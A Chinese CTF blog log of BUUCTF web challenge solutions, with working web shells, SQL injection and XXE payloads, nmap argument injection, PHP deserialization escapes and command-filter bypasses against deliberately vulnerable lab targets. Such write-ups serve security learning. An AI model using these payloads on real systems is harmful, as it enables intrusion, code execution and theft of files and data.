BUU WEB刷题记录1(持续更新)

[MRCTF2020]你传你马呢

打开得到一张晦气的图片和文件上传点
在这里插入图片描述
尝试直接上传PHP文件失败(意料之中),随便上传了一张png图片,发现可以,将png文件内容改写成一句话木马<?php @eval($_POST['sa']);?>,再次上传,上传成功并返回路径,但是这个时候还是png格式,访问了也无法触发,这里就要用到htaccess文件,具体参考Y4师傅写的总结,很详细:.htaccess文件的使用技巧总结

htaccess文件里可以这样写:SetHandler application/x-httpd-php
或者<FilesMatch "你上传的文件名"> SetHandler application/x-httpd-php //或ForceType application/x-httpd-php </FilesMatch>
直接上传htaccess文件会被拦截,抓包修改Content-Type,改为image/png(别的也可以),并且文件名是.hatccess,前面没有别的内容
如图
在这里插入图片描述
因为上传的是1.png,所以hatccess文件里写的也是1.png,修改后上传成功,在这里插入图片描述
然后访问图片上传到的目录就行:url/upload/…/1.png
这样就已经解析了一句话木马,蚁剑连接,查看flag即可

[MRCTF2020]Ez_bypass

打开得到:

I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}Please input first

比较简单的bypass,先传入值给gg和id,并且满足===而且gg不能等于id,直接md5基本的绕过,gg[]=1&id[]=2即可,先满足了第一步,再往下看,要POST一个passwd而且要等于1234567但是又不能为数字,这里使用1234567e(e变成任意一个字母都行),即可得到flag在这里插入图片描述

[GYCTF2020]Blacklist

打开得到一个框,sql注入没跑了,输入1,2都回显正常,这个框很熟悉,试着堆叠注入: 1’;show databases;有回显,继续看看
1’;show tables;
在这里插入图片描述
继续:1’;show columns from FlagHere;
发现没有直接回显字段
在这里插入图片描述
随便输入一个select看看有没有被过滤,结果返回
在这里插入图片描述
嗯…不太会了,百度一下,查到这个mysql查询语句-handler
试试吧,输入1’;handler FlagHere read first;发现并不行,换一种思路,因为handler查询需要先打开,再搜索,再关闭,根据堆叠注入原理,构造如下1’;handler FlagHere open;handler FlagHere read first;handler FlagHere close;
得到flag在这里插入图片描述

[BUUCTF 2018]Online Tool

打开得到,加了一些注释

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    //1,确保用户值传递一个参数给命令
    //2,用户不能指定更多的参数
    //3,用户不能执行不同的命令
    $host = escapeshellcmd($host);
    //1,确保用户只执行一个命令
    //2,用户可以指定不限数量的参数
    //3,用户不能执行不同的命令
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

看到后面的escapeshellcmd,escapeshellarg百度了一下,第一篇文章就是
PHP escapeshellarg()+escapeshellcmd() 之殇
看完了,不太懂nmap的使用,只能去看些wp了,看完以后知道nmap有一个参数-oG可以实现将命令和结果写到文件,所以我们可以控制自己的输入写入文件,这里我们可以写入一句话木马链接,也可以直接命令 cat flag.
构造:
?host=’ <?php @eval ($_GET["cnm"]);?> -oG sa.php ’
得到
在这里插入图片描述
这个payload不需要连接蚁剑,直接get一个cnm,然后?cnm=system(‘cat /flag’)就能得到flag了
因为访问目录这里搞了很久(wsfw),如图访问就行
在这里插入图片描述得到flag

[GXYCTF2019]BabyUpload

打开是一个文件上传的页面,随便传了个png,jpg都不行,就很奇怪,尝试htaccess文件,文件内容:SetHandler application/x-httpd-php 修改一下type,改成image/jpeg,居然传上去了,然后直接去看了下源码,原来之前被拦截是因为文件太大了(刘汉黄豆),之后的操作就比较常规,尝试一句话木马,但是好像会识别到<?,所以用java调用

<script language='php'>eval($_POST[cmd]);</script>

传上去了,得到文件地址,蚁剑连接,flag在根目录下。

[RoarCTF 2019]Easy Java

打开得到在这里插入图片描述
点一下help,跳出

java.io.FileNotFoundException:{help.docx}

搜了一下,没发现什么,F12看到有个Download?fliename=…,可能是任意文件下载漏洞,不太懂(根本不懂)
JAVA只能看WP了,看完发现要用POST的方式访问才能下载到文件,而且要先看这个小知识点:

WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码 

先下载配置文件/WEB-INF/web.xml,得到
在这里插入图片描述
这里图就不截全了,本来是文档打开的。下面的这个FlagController就是需要拿的文件,由于不会java,学长过来教了一下,要想下载这个文件应该是这样写路径
在这里插入图片描述
看到里面有base64,稳了,解码得到flag。

[BJDCTF2020]ZJCTF,不过如此

进入得到

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

根据代码逻辑,得到在text中的值必须等于I have a dream,且包含文件next.php,这里利用php伪协议,payload:

?text=data://text/plain,I%20have%20a%20dream&file=php://filter/read/convert.base64-encode/resource=next.php

得到一串base64,解密得到

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

查了下资料,查到这么一段:e模式是要在正则匹配到特定特征的字符串直接当作php代码来执行,执行结果替换原字符,相当于eval函数。而/e模式存在漏洞,所以可以利用这一点来拿flag
参考:点这里

那么payload:

next.php?\S*=${eval($_POST['sa'])}

然后hackbar:sa=system(“cat /flag”)
或者还有一种方法,利用里面的getFlag函数:
根据文章内容得知可以构造:

next.php?\S*={$getFlag()}&cmd=highlight_file("/flag");
或者
next.php?\S*=${getflag()}&cmd=show_source("/flag");

即可得到flag

[BJDCTF2020]The mystery of ip

没啥好说的,抓包,发现IP是可控的,尝试模板注入,修改头:加入X-Forwarded-For:{{3*3}},发现IP变成9,再尝试{{system(“cat /flag”)}},得到flag

[安洵杯 2019]easy_web

这题刚拿到手毫无头绪,连base64都没注意…,百度一下wp,知道url中那一串是base64,解了以后还是base64,继续解码一次,得到3535352e706e67,十六进制转字符得555.png,而我们之前查看的源码,那一串就是555.png的base64加密,据此得到逻辑,将index.php经过一次hex,两次base64得到TmprMlpUWTBOalUzT0RKbE56QTJPRGN3,直接在url处更改,查看源码,把源码中那一大串的base64解密,得到源码(删掉了无效部分):

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
#前面都是加密方式=====
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='https://img-blog.csdnimg.cn/2022010701234579872.gif" . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
#上面就是之前说的那种加密,然后怎么读取也可以从这个代码看出来
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

过滤了一堆东西,然后下面是一个md5强比较,md5强比较很好解决,随便百度一下就行,重要的是看怎么绕过上面对变量cmd的过滤(我不知道),看了别的师傅的wp才知道咋整,我们先post

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

然后在cmd处搞,因为ls被禁了所以选择dir看看,发现就几个图片好像也没有flag,bp中改一下dir%20/ 发现在这里插入图片描述
有flag文件,但是cat啥的都被禁了,这里有几种方法,第一种是linux命令中可以ca\t c\at都行,可以直接ca\t /flag。或者用网上说的sort:sort将文件的每一行作为一个单位,相互比较,比较原则是从首字符向后,依次按ASCII码值进行比较,最后将他们按升序输出。即sort%20/flag,或者直接strings%20/flag,这个只有当flag是文本文件的时候能用,不过一般来说flag都是文本文件

[SWPU2019]Web1

打开靶机,注册登录后
在这里插入图片描述
可以发布广告
在这里插入图片描述
这样的基本上就是SQL或者XSS,试了一会xss发现并没有什么卵用,于是往SQL注入方向走,输入1’发现报错
在这里插入图片描述
输入1’232323
在这里插入图片描述

注意到这里的报错信息的’232323’,所以要闭合的话需要在最后一个字加上单引号。
接下来开始注入,fuzz了一下发现过滤了空格和or,那么order by就用不了,空格可以用/**/来绕过。先确定列数
1'/**/union/**/select/**/1,2,3/**/'(注意最后有一个单引号)
一个一个加的我怀疑人生,然后就去看wp了,发现有22列,所以
1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
得到
在这里插入图片描述

知道可以在2和3处回显,查询表名,根据资料:表sys.schema_auto_increment_columns的作用就是用来对表自增ID的监控。如果表中存在自增id,那么这个视图就会包含这一表。本来想用sys.schema_auto_increment_columns查的,但是发现并不存在这个表,buu用的是mariadb
1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/'
在这里插入图片描述
那么用mysql.innodb_table_stats,将上面的sys.schema_auto_increment_columns换成mysql.innodb_table_stats即可,得到表名
在这里插入图片描述
但是不知道列名,所以用无列名注入,参考资料:无列名注入
过程中发现反引号被过滤了,那就把列名改一改再进行查询,payload
-1'/**/union/**/select/**/1,(select/**/group_concat(a)/**/from(select/**/1,2,3/**/as/**/a/**/union/**/select*from/**/users)p),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/
得到flag.
在这里插入图片描述

[0CTF 2016]piapiapia

打开一个登陆界面,随便登了一下登不了,御剑扫到www.zip,下载得到源码,有register.php,注册一个账号长度大于三小于十六,我这用admin 123456。然后登陆,是一个UPDATE.php
在这里插入图片描述
profile.php

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>
<!DOCTYPE html>
<html>
<head>
   <title>Profile</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px">  
		<img src="https://img-blog.csdnimg.cn/2022010701234579872.gif<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
		<h3>Hi <?php echo $nickname;?></h3>
		<label>Phone: <?php echo $phone;?></label>
		<label>Email: <?php echo $email;?></label>
	</div>
</body>
</html>
<?php
	}
?>

update.php(这里只放有用部分)

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
	else {
?>

可以看到update.php有一些过滤,最后序列化变量profile,查看update_profile函数(在class.php中)

public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);
		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);

有过滤,继续看过滤,可以知道后台会将每个传入的值都检测一遍,如果有出现特殊字符就替换,出现危险词语就替换成hacker。传入的phone值必须为11位,邮箱也有特定的格式。

public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);

注意到在profile.php中有$photo=base64_encode(file_get_contents($profile[‘photo’]));那么可以通过改变photo的值,读取flag,又知道flag在config.php中,那么就把photo的内容改为config.php即可。但是直接改的话是会变成
$profile['photo'] = 'upload/' . md5($file['name']);
而传过去的值是序列化后的值,我们就可以通过序列化字符串逃逸,将后面不需要的内容挤出去。从而将反序列化后的内容变成我们想要的,可以参考Y4师傅的博客PHP反序列化总结

这里借用羽师傅的例子,正常传入
a:4{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"1@qq.com";s:8:"nickname";s:3:"abc";s:5:"photo";s:39:"upload/47bce5c74f589f4867dbd57e9ca9f808";}
我们想要的
a:4{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"1@qq.com";s:8:"nickname";s:3:"abc";s:5:"photo";s:10:"config.php";}
所以要想方法让";}s:5:"photo";s:10:"config.php";}逃出来,就从nickname入手,我们知道传入$safe数组中的内容都会被替换成hacker,而只有where与hacker的长度不一样,所以可以用where来构造,以至于当序列化后过滤时,可以让我们想要的内容逃出,而";}s:5:"photo";s:10:"config.php";}长度为34,每一个where被替换成hacker后会多一,所以我们要构造34个where,s=34x5+34=204.也就是传入

s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

注意到nickname这里的判断有长度的限制,preg_match函数可以用数组绕过,也就不需要担心长度限制,抓个包改一下就行如图:
在这里插入图片描述
在这里插入图片描述
最后返回profile.php,查看源代码,有一串base64,解码得到config.php内容,也就得到了flag

<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = 'qwertyuiop';
$config['database'] = 'challenges';
$flag = 'flag{4859be26-79c7-464f-9fc6-1d0fed5e78ac}';
?>

[网鼎杯 2020 朱雀组]Nmap

进去F12看一下,发现有’‘flag is in /flag’’,百度一下nmap的一些命令,payload
127.0.0.1' -iL /flag -oN sa.txt '
iL扫描到该文件,用oN输出,然后访问url/sa.txt即可得到flag,看了下大佬们的wp也可以用一句话,然后蚁剑连接找到flag

[MRCTF2020]PYWebsite

F12看,有个验证当你输入的code经过md5加密后=0cd4da0223c0b280829dc3ea458d655c时,就调到flag.php,我们直接看flag.php
在这里插入图片描述
有个关键词IP,抓包加X-Forwarded-For 127.0.0.1,得到flag.

[极客大挑战 2019]FinalSQL

二分法盲注,脚本小子就可以。

[NPUCTF2020]ReadlezPHP

F12发现有个地址。访问./time.php?source得到源码

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}
@$ppp = unserialize($_GET["data"]);

注意到是echo $b($a);联想到用assert与eval来读取,发现没读到flag,看wp知道是在phpinfo下= =。。
payload:

class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "phpinfo()";
        $this->b = "assert";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;
$a = serialize($c);
echo $a;

得到O:8:“HelloPhp”:2:{s:1:“a”;s:9:“phpinfo()”;s:1:“b”;s:6:“assert”;},cTrl+f搜一下flag就行。

[BJDCTF2020]Mark loves cat

git源码泄露,下载得源码:

<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){flag=flag
    exit($is);
}

echo "the flag is: ".$flag;

变量覆盖漏洞,直接参考这里写的很好了

[GXYCTF2019]禁止套娃

又是git泄露,得源码

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

过滤了一堆,无参数RCE,依旧是参考文章,写的很好,各种函数的功能也有,这题直接照着wp写的,懒得截图了。点这

[NCTF2019]Fake XML cookbook

标题名字联想到XML注入,开局一个登陆框,用户密码随便输,抓包,发现post了这样一个数据
在这里插入图片描述
很多人往往看了payload以后打上去发现并没有回显flag,先放一个payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY aaaa SYSTEM "file:///flag">
  ]>
<user><username>&aaaa;</username><password>123123</password></user>

注意到抓包数据中心username是没有&和分号的,参考知识这里
于是就可以读到flag

[WUSTCTF2020]朴实无华

进去毛线都没有,访问一下常见的一些比如www.zip,flag.php,robots.txt这些,在robots.txt里发现了/fAke_f1agggg.php,进入,什么也没有。抓包看看发现fl4g.php在这里插入图片描述
进入发现源码,由于编码有些问题就不放出来了,第一关是要构造一个num让他小于2020但是加一后又要大于2021,这里直接用类似1e10这样的数绕过,第二关

$md5=$_GET['md5'];
   if ($md5==md5($md5))

传入一个值,使得这个值等于md5加密后的值即可,弱比较当两者开头都为0e的时候即为相等,找到一个0e215962017传入通过。
最后就是要拿到flag.要求get传参,且不能包含空格和cat

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "123";
        system($get_flag);
    }else{
        die("123");
    }
}else{
    die("123");
}
?>

不能用cat的话还可以用很多别的,比如tac,nl,more,less等,但是一般都是命令加空格加文件名,但是这里不可以输入空格,我们可以用tab来绕过,也就是%09,payload
nl%09./*
当然一开始可以先ls,发现有个fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag,这个应该就是要获取的flag了,还可以用$IFS$9来代替空格即

tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag 

这样也可以读到flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值